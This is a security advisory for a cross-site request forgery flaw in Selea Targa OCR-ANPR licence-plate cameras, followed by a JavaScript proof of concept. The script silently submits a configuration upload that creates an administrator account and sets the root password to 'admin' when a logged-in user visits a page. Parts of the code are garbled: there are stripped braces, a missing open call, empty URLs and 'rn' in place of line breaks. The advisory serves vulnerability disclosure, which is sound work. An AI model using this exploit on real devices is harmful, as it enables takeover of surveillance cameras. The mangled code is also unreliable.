Authored by LiquidWorm | Site

Selea Targa IP OCR-ANPR Camera suffers from a cross site request forgery vulnerability that allows for adding an administrator. Multiple versions and firmwares are affected.

Selea Targa IP OCR-ANPR Camera CSRF Add Admin Exploit

Vendor: Selea s.r.l.
Product web page:
Affected version: Model: iZero
Targa 512
Targa 504
Targa Semplice
Targa 704 TKM
Targa 805
Targa 710 INOX
Targa 750
Targa 704 ILB
Firmware: BLD201113005214
CPS: 4.013(201105)

Summary: IP camera with optical character recognition (OCR) software for automatic
number plate recognition (ANPR) also equipped with ADR system that enables it to read
the Hazard Identification Number (HIN, also known as the Kemler Code) and UN number
of any vehicle captured in free-flow mode. TARGA is fully accurate in reading number
plates of vehicles travelling at high speed. Its varifocal, wide-angle lens makes
this camera suitable for all installation conditions. Its built-in OCR software works
as an automatic and independent system without the need of a computer, thus giving
autonomy to the device even in the event of an interruption in the connection between
the camera and the operations centre.

Desc: The application interface allows users to perform certain actions via HTTP requests
without performing any validity checks to verify the requests. This can be exploited to
perform certain actions with administrative privileges if a logged-in user visits a malicious
web site.

Tested on: GNU/Linux 3.10.53 (armv7l)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2021-5618
Advisory URL:



Add Admin:

function submitRequest()
var xhr = new XMLHttpRequest();"POST", "", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=cfgboundary-----------------------1607475234133");
xhr.withCredentials = true;
var body = "--cfgboundary-----------------------1607475234133rn" +
"Content-Disposition: form-data; name="set_params"rn" +
"rn" +
"uploadrn" +
"--cfgboundary-----------------------1607475234133rn" +
"Content-Disposition: form-data; name="user_file"; filename="set_params.dat"rn" +
"Content-Type: application/octet-streamrn" +
"rn" +
"security-users-0-username = testingusrn" +
"security-users-0-password = testingusrn" +
"security-users-0-rights = 2rn" +
"security-users-1-username = rn" +
"security-users-1-password = rn" +
"security-users-1-rights = 0rn" +
"security-users-2-username = rn" +
"security-users-2-password = rn" +
"security-users-2-rights = 0rn" +
"security-users-3-username = rn" +
"security-users-3-password = rn" +
"security-users-3-rights = 0rn" +
"security-allow_viewers_storage_access = 1rn" +
"CFG_ROOTPASS = adminrn" +
"rn" +
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
<form action="#">
<input type="button" value="Add Admin" onclick="submitRequest();" />